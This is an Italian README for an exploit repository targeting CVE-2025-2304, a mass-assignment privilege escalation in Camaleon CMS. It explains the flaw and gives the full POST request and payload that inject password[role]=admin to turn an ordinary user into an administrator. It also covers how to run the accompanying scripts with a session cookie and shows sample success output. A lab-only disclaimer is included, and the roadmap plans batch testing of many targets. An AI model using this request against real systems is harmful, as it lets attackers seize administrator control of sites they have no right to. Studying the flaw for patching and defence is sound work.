CVE-2025-2304 - Camaleon CMS Mass Assignment Privilege Escalation

📌 Descrizione del Progetto

CVE-2025-2304 è una vulnerabilità di Mass Assignment in Camaleon CMS (versioni < 2.9.1) che permette a un utente autenticato di elevare i propri privilegi ad amministratore manipolando il parametro role nelle richieste di cambio password.

🚨 Spiegazione Tecnica della Vulnerabilità

Contesto della Vulnerabilità

Camaleon CMS utilizza Ruby on Rails e nella versione 2.9.0 presenta una vulnerabilità di Mass Assignment nel controller UsersController#updated_ajax. Il controller usa .permit! senza restrizioni, consentendo a qualsiasi parametro inviato nella richiesta di essere assegnato direttamente al modello utente.

Vettore d'Attacco

1. Endpoint vulnerabile: POST /admin/users/{user_id}/updated_ajax
2. Parametro critico: password[role] inviato all'interno del namespace password
3. Meccanismo: Il controller elabora params.require(:password) e poi applica .permit!, che non filtra alcun parametro
4. Risultato: Iniezione del valore "admin" nel campo role dell'utente

Flusso Tecnico

POST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded

authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch

Il parametro password[role] viene elaborato da User.update(permitted_params) e assegnato direttamente al record utente a causa di .permit!, elevando i privilegi da user a admin.

⚡ Installazione e Utilizzo

Prerequisiti

# Python 3.6+
python3 --version

# Librerie richieste
pip install requests

Esecuzione dello Script

Versione Inglese:

python3 exploit_cve_2025_2304_en.py

Versione Spagnola:

python3 exploit_cve_2025_2304.py

Input Richiesto

Lo script chiederà interattivamente:

1. URL base del server: http(s)://dominio:porta
2. ID utente: Identificatore dell'utente attaccante
3. Cookie di sessione: Valore _cms_session (ottenuto dopo il login)
4. Nuova password: Opzionale (predefinita: P@ssw0rd_lab_2025!)

Esempio Completo di Comando

python3 exploit_cve_2025_2304_en.py

[?] URL base del server (es: http://localhost:3000) : http://192.168.1.100:8080
[?] ID utente dell'utente attaccante (es: 3) : 5
[?] Cookie di sessione (_cms_session=VALUE) : _cms_session=abc123def456

🔧 Informazioni su Questo Script

Perché l'ho creato?

Quando ho trovato questa vulnerabilità, il mio primo istinto è stato testarla manualmente tramite Burp Suite — e ha funzionato. Ma volevo andare un passo oltre e trasformare quel processo manuale in qualcosa di ripetibile e portatile, così ho scritto questo script. Oltre a sfruttare il bug, crearlo mi ha dato l'opportunità di affrontare alcune cose che trovo genuinamente interessanti:

• Automatizzare flussi HTTP multi-step con gestione delle sessioni
• Parsing dinamico dei token CSRF dalle risposte live
• Gestire risposte JSON/HTML inconsistenti dallo stesso endpoint
• Sapere esattamente quando l'exploit ha avuto successo — e quando no

Non sto cercando di sostituire Burp o Caido. Quegli strumenti sono insostituibili per il test interattivo. Questo è solo ciò che succede quando preferisco scrivere uno script piuttosto che ripetermi.

⚠️ Disclaimer e Considerazioni Etiche

AVVISO LEGALE IMPORTANTE

QUESTO SCRIPT È ESCLUSIVAMENTE PER:
- Ambienti di laboratorio controllati
- Sistemi di cui si è proprietari o per i quali si ha esplicita autorizzazione ai test
- Scopi educativi e ricerca autorizzata

STRETTAMENTE VIETATO:
- Utilizzo su sistemi senza autorizzazione
- Applicazione con intenti malevoli
- Violazione delle leggi sulla protezione dei dati
- Compromissione della sicurezza di terze parti

L'autore non è responsabile per l'uso improprio di questo strumento.

📊 Screenshot di Esempio

Esecuzione Riuscita

╔══════════════════════════════════════════════════════════════╗
║        CVE-2025-2304 │ Camaleon CMS Mass Assignment          ║
║        Privilege Escalation: user → admin                    ║
║        [LABORATORIO / AMBIENTE CONTROLLATO]                  ║
╚══════════════════════════════════════════════════════════════╝

[✔] Token CSRF ottenuto: abc123def456...
[✔] EXPLOIT RIUSCITO: Il server ha confermato l'aggiornamento.
[✔] Stato : COMPROMESSO
   L'utente 5 ora dovrebbe avere il ruolo 'admin'.

Struttura del Payload

{
    "authenticity_token": "abcd1234",
    "password[password]": "P@ssw0rd_lab_2025!",
    "password[password_confirmation]": "P@ssw0rd_lab_2025!",
    "password[role]": "admin",
    "password[id]": "5",
    "_method": "patch"
}

🛠 Roadmap e Miglioramenti Futuri

Miglioramenti Pianificati

1. Automazione del login: Integrazione per ottenere la sessione automaticamente
2. Rilevamento versione: Script di fingerprinting per confermare la versione vulnerabile
3. Modalità verbose/quiet per output più pulito in pipeline automatizzate
4. Test batch: Capacità di testare più utenti/URL contemporaneamente
5. Report generato: Esportazione dei risultati in formato JSON/HTML

Estendibilità

Il codice è strutturato in modo modulare per facilitare:

• Adattamento ad altre vulnerabilità di Mass Assignment
• Integrazione in framework di pentesting
• Aggiunta di funzionalità di logging e monitoraggio

📚 Riferimenti e Risorse

• CVE Ufficiale: CVE-2025-2304
• Camaleon CMS: Repository Ufficiale
• Patch: La versione 2.9.1 corregge l'uso di .permit!
• Documentazione Rails: Strong Parameters

🤝 Contributi

Sono benvenuti contributi che:

1. Migliorino il rilevamento delle condizioni di successo
2. Aggiungano funzionalità mantenendo il focus etico
3. Correggano bug o migliorino la gestione degli errori
4. Documentino casi d'uso aggiuntivi

Ricorda: Questo progetto ha uno scopo esclusivamente educativo e di ricerca autorizzata.

Ultimo aggiornamento: Aprile 2025 | Di Security Analyst (Ambiente di Laboratorio)